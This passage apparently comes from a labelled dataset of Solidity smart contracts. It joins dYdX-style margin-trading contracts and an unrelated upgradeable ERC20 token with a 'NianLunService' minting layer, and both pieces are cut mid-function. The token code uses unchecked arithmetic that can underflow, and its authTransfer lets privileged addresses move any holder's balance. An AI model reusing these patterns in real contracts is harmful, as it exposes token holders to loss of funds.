position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
contract OnlyMargin {
address public DYDX_MARGIN;
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
modifier onlyMargin()
{
require(
msg.sender == DYDX_MARGIN,
"OnlyMargin#onlyMargin: Only Margin can call"
);
_;
}
}
interface PositionCustodian {
function getPositionDeedHolder(
bytes32 positionId
)
external
view
returns (address);
}
library MarginHelper {
function getPosition(
address DYDX_MARGIN,
bytes32 positionId
)
internal
view
returns (MarginCommon.Position memory)
{
(
address[4] memory addresses,
uint256[2] memory values256,
uint32[6] memory values32
) = Margin(DYDX_MARGIN).getPosition(positionId);
return MarginCommon.Position({
owedToken: addresses[0],
heldToken: addresses[1],
lender: addresses[2],
owner: addresses[3],
principal: values256[0],
requiredDeposit: values256[1],
callTimeLimit: values32[0],
startTimestamp: values32[1],
callTimestamp: values32[2],
maxDuration: values32[3],
interestRate: values32[4],
interestPeriod: values32[5]
});
}
}
contract ERC20Position is
ReentrancyGuard,
StandardToken,
OnlyMargin,
PositionOwner,
IncreasePositionDelegator,
ClosePositionDelegator,
PositionCustodian
{
using SafeMath for uint256;
enum State {
UNINITIALIZED,
OPEN,
CLOSED
}
event Initialized(
bytes32 positionId,
uint256 initialSupply
);
event ClosedByTrustedParty(
address closer,
uint256 tokenAmount,
address payoutRecipient
);
event CompletelyClosed();
event Withdraw(
address indexed redeemer,
uint256 tokensRedeemed,
uint256 heldTokenPayout
);
event Close(
address indexed redeemer,
uint256 closeAmount
);
address public INITIAL_TOKEN_HOLDER;
bytes32 public POSITION_ID;
mapping (address => bool) public TRUSTED_RECIPIENTS;
mapping (address => bool) public TRUSTED_WITHDRAWERS;
State public state;
address public heldToken;
bool public closedUsingTrustedRecipient;
modifier onlyPosition(bytes32 positionId) {
require(
POSITION_ID == positionId,
"ERC20Position#onlyPosition: Incorrect position"
);
_;
}
modifier onlyState(State specificState) {
require(
state == specificState,
"ERC20Position#onlyState: Incorrect State"
);
_;
}
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
OnlyMargin(margin)
{
POSITION_ID = positionId;
state = State.UNINITIALIZED;
INITIAL_TOKEN_HOLDER = initialTokenHolder;
closedUsingTrustedRecipient = false;
uint256 i;
for (i = 0; i < trustedRecipients.length; i++) {
TRUSTED_RECIPIENTS[trustedRecipients[i]] = true;
}
for (i = 0; i < trustedWithdrawers.length; i++) {
TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true;
}
}
function receivePositionOwnership(
address ,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyState(State.UNINITIALIZED)
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
assert(position.principal > 0);
state = State.OPEN;
uint256 tokenAmount = getTokenAmountOnAdd(position.principal);
totalSupply_ = tokenAmount;
balances[INITIAL_TOKEN_HOLDER] = tokenAmount;
heldToken = position.heldToken;
emit Initialized(POSITION_ID, tokenAmount);
emit Transfer(address(0), INITIAL_TOKEN_HOLDER, tokenAmount);
return address(this);
}
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address)
{
require(
!Margin(DYDX_MARGIN).isPositionCalled(POSITION_ID),
"ERC20Position#increasePositionOnBehalfOf: Position is margin-called"
);
require(
!closedUsingTrustedRecipient,
"ERC20Position#increasePositionOnBehalfOf: Position closed using trusted recipient"
);
uint256 tokenAmount = getTokenAmountOnAdd(principalAdded);
balances[trader] = balances[trader].add(tokenAmount);
totalSupply_ = totalSupply_.add(tokenAmount);
emit Transfer(address(0), trader, tokenAmount);
return address(this);
}
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address, uint256)
{
uint256 positionPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(positionId);
assert(requestedAmount <= positionPrincipal);
uint256 allowedAmount;
if (TRUSTED_RECIPIENTS[payoutRecipient]) {
allowedAmount = closeUsingTrustedRecipient(
closer,
payoutRecipient,
requestedAmount
);
} else {
allowedAmount = close(
closer,
requestedAmount,
positionPrincipal
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= requestedAmount);
if (allowedAmount == positionPrincipal) {
state = State.CLOSED;
emit CompletelyClosed();
}
return (address(this), allowedAmount);
}
function withdraw(
address onBehalfOf
)
external
nonReentrant
returns (uint256)
{
setStateClosedIfClosed();
require(
state == State.CLOSED,
"ERC20Position#withdraw: Position has not yet been closed"
);
if (msg.sender != onBehalfOf) {
require(
TRUSTED_WITHDRAWERS[msg.sender],
"ERC20Position#withdraw: Only trusted withdrawers can withdraw on behalf of others"
);
}
return withdrawImpl(msg.sender, onBehalfOf);
}
function decimals()
external
view
returns (uint8);
function symbol()
external
view
returns (string);
function getPositionDeedHolder(
bytes32 positionId
)
external
view
onlyPosition(positionId)
returns (address)
{
return address(this);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
assert(requestedAmount > 0);
if (!closedUsingTrustedRecipient) {
closedUsingTrustedRecipient = true;
}
emit ClosedByTrustedParty(closer, requestedAmount, payoutRecipient);
return requestedAmount;
}
function withdrawImpl(
address receiver,
address onBehalfOf
)
private
returns (uint256)
{
uint256 value = balanceOf(onBehalfOf);
if (value == 0) {
return 0;
}
uint256 heldTokenBalance = TokenInteract.balanceOf(heldToken, address(this));
uint256 heldTokenPayout = MathHelpers.getPartialAmount(
value,
totalSupply_,
heldTokenBalance
);
delete balances[onBehalfOf];
totalSupply_ = totalSupply_.sub(value);
TokenInteract.transfer(heldToken, receiver, heldTokenPayout);
emit Withdraw(onBehalfOf, value, heldTokenPayout);
return heldTokenPayout;
}
function setStateClosedIfClosed(
)
private
{
if (state == State.OPEN && Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) {
state = State.CLOSED;
emit CompletelyClosed();
}
}
function close(
address closer,
uint256 requestedAmount,
uint256 positionPrincipal
)
private
returns (uint256)
{
uint256 balance = balances[closer];
(
uint256 tokenAmount,
uint256 allowedCloseAmount
) = getCloseAmounts(
requestedAmount,
balance,
positionPrincipal
);
require(
tokenAmount > 0 && allowedCloseAmount > 0,
"ERC20Position#close: Cannot close 0 amount"
);
assert(tokenAmount <= balance);
assert(allowedCloseAmount <= requestedAmount);
balances[closer] = balance.sub(tokenAmount);
totalSupply_ = totalSupply_.sub(tokenAmount);
emit Close(closer, tokenAmount);
return allowedCloseAmount;
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256);
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
);
}
contract ERC20PositionWithdrawer is ReentrancyGuard
{
using TokenInteract for address;
address public WETH;
constructor(
address weth
)
public
{
WETH = weth;
}
function ()
external
payable
{
require(
msg.sender == WETH,
"PayableMarginMinter#fallback: Cannot recieve ETH directly unless unwrapping WETH"
);
}
function withdraw(
address erc20Position,
address returnedToken,
address exchangeWrapper,
bytes orderData
)
external
nonReentrant
returns (uint256, uint256)
{
uint256 tokensWithdrawn = ERC20Position(erc20Position).withdraw(msg.sender);
if (tokensWithdrawn == 0) {
return (0, 0);
}
address withdrawnToken = ERC20Position(erc20Position).heldToken();
withdrawnToken.transfer(exchangeWrapper, tokensWithdrawn);
uint256 tokensReturned = ExchangeWrapper(exchangeWrapper).exchange(
msg.sender,
address(this),
returnedToken,
withdrawnToken,
tokensWithdrawn,
orderData
);
if (returnedToken == WETH) {
returnedToken.transferFrom(exchangeWrapper, address(this), tokensReturned);
WETH9(returnedToken).withdraw(tokensReturned);
msg.sender.transfer(tokensReturned);
} else {
returnedToken.transferFrom(exchangeWrapper, msg.sender, tokensReturned);
}
return (tokensWithdrawn, tokensReturned);
}
} | 0 | 836 |
pragma solidity ^0.4.21;
contract LockRequestable {
uint256 public lockRequestCount;
function LockRequestable() public {
lockRequestCount = 0;
}
function generateLockId() internal returns (bytes32 lockId) {
return keccak256(block.blockhash(block.number - 1), address(this), ++lockRequestCount);
}
}
contract CustodianUpgradeable is LockRequestable {
struct CustodianChangeRequest {
address proposedNew;
}
address public custodian;
mapping(bytes32 => CustodianChangeRequest) public custodianChangeReqs;
function CustodianUpgradeable(
address _custodian
)
LockRequestable()
public
{
custodian = _custodian;
}
modifier onlyCustodian {
require(msg.sender == custodian);
_;
}
function requestCustodianChange(address _proposedCustodian) public returns (bytes32 lockId) {
require(_proposedCustodian != address(0));
lockId = generateLockId();
custodianChangeReqs[lockId] = CustodianChangeRequest({
proposedNew : _proposedCustodian
});
emit CustodianChangeRequested(lockId, msg.sender, _proposedCustodian);
}
function confirmCustodianChange(bytes32 _lockId) public onlyCustodian {
custodian = getCustodianChangeReq(_lockId);
delete custodianChangeReqs[_lockId];
emit CustodianChangeConfirmed(_lockId, custodian);
}
function getCustodianChangeReq(bytes32 _lockId) private view returns (address _proposedNew) {
CustodianChangeRequest storage changeRequest = custodianChangeReqs[_lockId];
require(changeRequest.proposedNew != 0);
return changeRequest.proposedNew;
}
event CustodianChangeRequested(
bytes32 _lockId,
address _msgSender,
address _proposedCustodian
);
event CustodianChangeConfirmed(bytes32 _lockId, address _newCustodian);
}
contract ERC20ImplUpgradeable is CustodianUpgradeable {
struct ImplChangeRequest {
address proposedNew;
}
ERC20Impl public erc20Impl;
mapping(bytes32 => ImplChangeRequest) public implChangeReqs;
function ERC20ImplUpgradeable(address _custodian) CustodianUpgradeable(_custodian) public {
erc20Impl = ERC20Impl(0x0);
}
modifier onlyImpl {
require(msg.sender == address(erc20Impl));
_;
}
function requestImplChange(address _proposedImpl) public returns (bytes32 lockId) {
require(_proposedImpl != address(0));
lockId = generateLockId();
implChangeReqs[lockId] = ImplChangeRequest({
proposedNew : _proposedImpl
});
emit ImplChangeRequested(lockId, msg.sender, _proposedImpl);
}
function confirmImplChange(bytes32 _lockId) public onlyCustodian {
erc20Impl = getImplChangeReq(_lockId);
delete implChangeReqs[_lockId];
emit ImplChangeConfirmed(_lockId, address(erc20Impl));
}
function getImplChangeReq(bytes32 _lockId) private view returns (ERC20Impl _proposedNew) {
ImplChangeRequest storage changeRequest = implChangeReqs[_lockId];
require(changeRequest.proposedNew != address(0));
return ERC20Impl(changeRequest.proposedNew);
}
event ImplChangeRequested(
bytes32 _lockId,
address _msgSender,
address _proposedImpl
);
event ImplChangeConfirmed(bytes32 _lockId, address _newImpl);
}
contract NianLunServiceUpgradeable is CustodianUpgradeable {
struct NianLunServiceChangeRequest {
address proposedNew;
}
NianLunService public nianLunService;
mapping(bytes32 => NianLunServiceChangeRequest) public nianLunServiceChangeReqs;
function NianLunServiceUpgradeable(address _custodian) CustodianUpgradeable(_custodian) public {
nianLunService = NianLunService(0x0);
}
modifier onlyNianLunService {
require(msg.sender == address(nianLunService));
_;
}
function requestNianLunServiceChange(address _proposedNianLunService) public returns (bytes32 lockId) {
require(_proposedNianLunService != address(0));
lockId = generateLockId();
nianLunServiceChangeReqs[lockId] = NianLunServiceChangeRequest({
proposedNew : _proposedNianLunService
});
emit NianLunServiceChangeRequested(lockId, msg.sender, _proposedNianLunService);
}
function confirmNianLunServiceChange(bytes32 _lockId) public onlyCustodian {
nianLunService = getNianLunServiceChangeReq(_lockId);
delete nianLunServiceChangeReqs[_lockId];
emit NianLunServiceChangeConfirmed(_lockId, address(nianLunService));
}
function getNianLunServiceChangeReq(bytes32 _lockId) private view returns (NianLunService _proposedNew) {
NianLunServiceChangeRequest storage changeRequest = nianLunServiceChangeReqs[_lockId];
require(changeRequest.proposedNew != address(0));
return NianLunService(changeRequest.proposedNew);
}
event NianLunServiceChangeRequested(
bytes32 _lockId,
address _msgSender,
address _proposedNianLunService
);
event NianLunServiceChangeConfirmed(bytes32 _lockId, address _newNianLunService);
}
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC20Proxy is ERC20Interface, ERC20ImplUpgradeable, NianLunServiceUpgradeable {
string public name;
string public symbol;
uint8 public decimals;
function ERC20Proxy(
string _name,
string _symbol,
uint8 _decimals,
address _custodian
)
ERC20ImplUpgradeable(_custodian) NianLunServiceUpgradeable(_custodian)
public
{
name = _name;
symbol = _symbol;
decimals = _decimals;
}
modifier onlyPermitted() {
require(
msg.sender == address(nianLunService) ||
msg.sender == address(erc20Impl)
);
_;
}
function totalSupply() public view returns (uint256) {
return erc20Impl.totalSupply();
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return erc20Impl.balanceOf(_owner);
}
function emitTransfer(address _from, address _to, uint256 _value) public onlyPermitted {
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
return erc20Impl.transferWithSender(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
return erc20Impl.transferFromWithSender(msg.sender, _from, _to, _value);
}
function emitApproval(address _owner, address _spender, uint256 _value) public onlyImpl {
emit Approval(_owner, _spender, _value);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
return erc20Impl.approveWithSender(msg.sender, _spender, _value);
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {
return erc20Impl.increaseApprovalWithSender(msg.sender, _spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) {
return erc20Impl.decreaseApprovalWithSender(msg.sender, _spender, _subtractedValue);
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return erc20Impl.allowance(_owner, _spender);
}
}
contract ERC20Impl {
ERC20Proxy public erc20Proxy;
ERC20Store public erc20Store;
function ERC20Impl(
address _erc20Proxy,
address _erc20Store
)
public
{
erc20Proxy = ERC20Proxy(_erc20Proxy);
erc20Store = ERC20Store(_erc20Store);
}
modifier onlyProxy {
require(msg.sender == address(erc20Proxy));
_;
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length == size + 4);
_;
}
function approveWithSender(
address _sender,
address _spender,
uint256 _value
)
public
onlyProxy
returns (bool success)
{
require(_spender != address(0));
erc20Store.setAllowance(_sender, _spender, _value);
erc20Proxy.emitApproval(_sender, _spender, _value);
return true;
}
function increaseApprovalWithSender(
address _sender,
address _spender,
uint256 _addedValue
)
public
onlyProxy
returns (bool success)
{
require(_spender != address(0));
uint256 currentAllowance = erc20Store.allowed(_sender, _spender);
uint256 newAllowance = currentAllowance + _addedValue;
require(newAllowance >= currentAllowance);
erc20Store.setAllowance(_sender, _spender, newAllowance);
erc20Proxy.emitApproval(_sender, _spender, newAllowance);
return true;
}
function decreaseApprovalWithSender(
address _sender,
address _spender,
uint256 _subtractedValue
)
public
onlyProxy
returns (bool success)
{
require(_spender != address(0));
uint256 currentAllowance = erc20Store.allowed(_sender, _spender);
uint256 newAllowance = currentAllowance - _subtractedValue;
require(newAllowance <= currentAllowance);
erc20Store.setAllowance(_sender, _spender, newAllowance);
erc20Proxy.emitApproval(_sender, _spender, newAllowance);
return true;
}
function transferFromWithSender(
address _sender,
address _from,
address _to,
uint256 _value
)
public
onlyProxy onlyPayloadSize(4 * 32)
returns (bool success)
{
require(_to != address(0));
uint256 balanceOfFrom = erc20Store.balances(_from);
require(_value <= balanceOfFrom);
uint256 senderAllowance = erc20Store.allowed(_from, _sender);
require(_value <= senderAllowance);
erc20Store.setBalance(_from, balanceOfFrom - _value);
erc20Store.addBalance(_to, _value);
erc20Store.setAllowance(_from, _sender, senderAllowance - _value);
erc20Proxy.emitTransfer(_from, _to, _value);
return true;
}
function transferWithSender(
address _sender,
address _to,
uint256 _value
)
public onlyProxy onlyPayloadSize(3 * 32)
returns (bool success)
{
require(_to != address(0));
uint256 balanceOfSender = erc20Store.balances(_sender);
require(_value <= balanceOfSender);
erc20Store.setBalance(_sender, balanceOfSender - _value);
erc20Store.addBalance(_to, _value);
erc20Proxy.emitTransfer(_sender, _to, _value);
return true;
}
function totalSupply() public view returns (uint256) {
return erc20Store.totalSupply();
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return erc20Store.balances(_owner);
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return erc20Store.allowed(_owner, _spender);
}
}
contract ERC20Store is ERC20ImplUpgradeable, NianLunServiceUpgradeable {
uint256 public totalSupply;
uint256 public createDate;
address public foundation;
address public team;
address public partner;
address public transit;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
mapping(address => uint256) public availableMap;
function ERC20Store(address _custodian, address _foundation, address _team, address _partner, address _transit)
ERC20ImplUpgradeable(_custodian) NianLunServiceUpgradeable(_custodian)
public
{
createDate = now;
foundation = _foundation;
partner = _partner;
team = _team;
transit = _transit;
availableMap[foundation] = 15120000000000000;
availableMap[partner] = 3360000000000000;
availableMap[team] = 2520000000000000;
}
modifier onlyPermitted
{
require(
msg.sender == address(nianLunService) ||
msg.sender == address(erc20Impl)
);
_;
}
function setTotalSupply(uint256 _newTotalSupply)
public onlyPermitted
{
totalSupply = _newTotalSupply;
}
function setAllowance(address _owner, address _spender, uint256 _value)
public onlyImpl
{
allowed[_owner][_spender] = _value;
}
function setBalance(address _owner, uint256 _newBalance)
public onlyPermitted
{
balances[_owner] = _newBalance;
}
function addBalance(address _owner, uint256 _balanceIncrease)
public onlyPermitted
{
balances[_owner] = balances[_owner] + _balanceIncrease;
}
function reduceAvailable(address _owner, uint256 _value)
public onlyNianLunService
{
availableMap[_owner] = availableMap[_owner] - _value;
}
}
contract NianLunService is LockRequestable, CustodianUpgradeable {
struct PendingService {
address sender;
uint256 value;
bool isPrint;
}
ERC20Proxy public erc20Proxy;
ERC20Store public erc20Store;
mapping(address => bool) public primaryBank;
mapping(bytes32 => PendingService) public pendingServiceMap;
function NianLunService(address _erc20Proxy, address _erc20Store, address _custodian)
CustodianUpgradeable(_custodian)
public
{
erc20Proxy = ERC20Proxy(_erc20Proxy);
erc20Store = ERC20Store(_erc20Store);
}
modifier onlyPrimary
{
require(primaryBank[address(msg.sender)]);
_;
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length == size + 4);
_;
}
function addPrimary(address _newPrimary)
public onlyCustodian
{
primaryBank[_newPrimary] = true;
emit PrimaryChanged(_newPrimary, true);
}
function removePrimary(address _removePrimary)
public onlyCustodian
{
delete primaryBank[_removePrimary];
emit PrimaryChanged(_removePrimary, false);
}
function authTransfer(address _from, address _to, uint256 _value)
public onlyPrimary onlyPayloadSize(3 * 32)
returns (bool success)
{
require(_to != address(0));
uint256 balanceOfFrom = erc20Store.balances(_from);
require(_value <= balanceOfFrom);
erc20Store.setBalance(_from, balanceOfFrom - _value);
erc20Store.addBalance(_to, _value);
erc20Proxy.emitTransfer(_from, _to, _value);
return true;
}
function batchPublishService(address[] _senders, uint256[] _values, bool[] _isPrints)
public onlyPrimary
returns (bool success)
{
require(_senders.length == _values.length);
require(_isPrints.length == _values.length);
uint256 numPublish = _senders.length;
for (uint256 i = 0; i < numPublish; i++) {
publishService(_senders[i], _values[i], _isPrints[i]);
}
return true;
}
function publishService(address _sender, uint256 _value, bool _isPrint)
public onlyPrimary onlyPayloadSize(3 * 32)
{
require(_sender != address(0));
bytes32 lockId = generateLockId();
pendingServiceMap[lockId] = PendingService({
sender : _sender,
value : _value,
isPrint : _isPrint
});
if (_isPrint) {
erc20Store.setTotalSupply(erc20Store.totalSupply() + _value);
erc20Proxy.emitTransfer(address(0), erc20Store.transit(), _value);
} else {
uint256 balanceOfSender = erc20Store.balances(_sender);
if (_value > balanceOfSender) {
delete pendingServiceMap[lockId];
emit ServicePublished(lockId, _sender, _value, false);
return;
}
erc20Store.setBalance(_sender, balanceOfSender - _value);
erc20Proxy.emitTransfer(_sender, erc20Store.transit(), _value);
}
erc20Store.addBalance(erc20Store.transit(), _value);
emit ServicePublished(lockId, _sender, _value, true);
}
function batchConfirmService(bytes32[] _lockIds, uint256[] _values, address[] _tos)
public onlyPrimary
returns (bool result)
{
require(_lockIds.length == _values.length);
require(_lockIds.length == _tos.length);
uint256 numConfirms = _lockIds.length;
for (uint256 i = 0; i < numConfirms; i++) {
confirmService(_lockIds[i], _values[i], _tos[i]);
}
return true;
}
function confirmService(bytes32 _lockId, uint256 _value, address _to)
public onlyPrimary
{
PendingService storage service = pendingServiceMap[_lockId];
address _sender = service.sender;
uint256 _availableValue = service.value;
bool _isPrint = service.isPrint;
if (_value > _availableValue) {
emit ServiceConfirmed(_lockId, _sender, _to, _value, false);
return;
}
uint256 _restValue = _availableValue - _value;
if (_restValue == 0) {
delete pendingServiceMap[_lockId];
} else {
service.value = _restValue;
}
if (_isPrint) {
releaseFoundation(_value);
}
uint256 balanceOfTransit = erc20Store.balances(erc20Store.transit());
erc20Store.setBalance(erc20Store.transit(), balanceOfTransit - _value);
erc20Store.addBalance(_to, _value);
erc20Proxy.emitTransfer(erc20Store.transit(), _to, _value);
emit ServiceConfirmed(_lockId, _sender, _to, _value, true);
}
function releaseFoundation(uint256 _value)
private
{
uint256 foundationAvailable = erc20Store.availableMap(erc20Store.foundation());
if (foundationAvailable <= 0) {
return;
}
if (foundationAvailable < _value) {
_value = foundationAvailable;
}
erc20Store.addBalance(erc20Store.foundation(), _value);
erc20Store.setTotalSupply(erc20Store.totalSupply() + _value);
erc20Store.reduceAvailable(erc20Store.foundation(), _value);
erc20Proxy.emitTransfer(address(0), erc20Store.foundation(), _value);
}
function batchCancelService(bytes32[] _lockIds)
public onlyPrimary
returns (bool result)
{
uint256 numCancels = _lockIds.length;
for (uint256 i = 0; i < numCancels; i++) {
cancelService(_lockIds[i]);
}
return true;
}
function cancelService(bytes32 _lockId)
public onlyPrimary
{
PendingService storage service = pendingServiceMap[_lockId];
address _sender = service.sender;
uint256 _value = service.value;
bool _isPrint = service.isPrint;
delete pendingServiceMap[_lockId];
if (_isPrint) {
erc20Store.setTotalSupply(erc20Store.totalSupply() - _value);
erc20Proxy.emitTransfer(erc20Store.transit(), address(0), _value);
} else {
erc20Store.addBalance(_sender, _value);
erc20Proxy.emitTransfer(erc20Store.transit(), _sender, _value);
}
uint256 balanceOfTransit = erc20Store.balances(erc20Store.transit());
erc20Store.setBalance(erc20Store.transit(), balanceOfTransit - _value);
emit ServiceCanceled(_lockId, _sender, _value);
}
function queryService(bytes32 _lockId)
public view
returns (address _sender, uint256 _value, bool _isPrint)
{
PendingService storage service = pendingServiceMap[_lockId];
_sender = service.sender;
_value = service.value;
_isPrint = service.isPrint;
}
function releaseTeam()
public
returns (bool success)
{
uint256 teamAvailable = erc20Store.availableMap(erc20Store.team());
if (teamAvailable > 0 && now > erc20Store.createDate() + 3 * 1 years) {
erc20Store.addBalance(erc20Store.team(), teamAvailable);
erc20Store.setTotalSupply(erc20Store.totalSupply() + teamAvailable);
erc20Store.reduceAvailable(erc20Store.team(), teamAvailable);
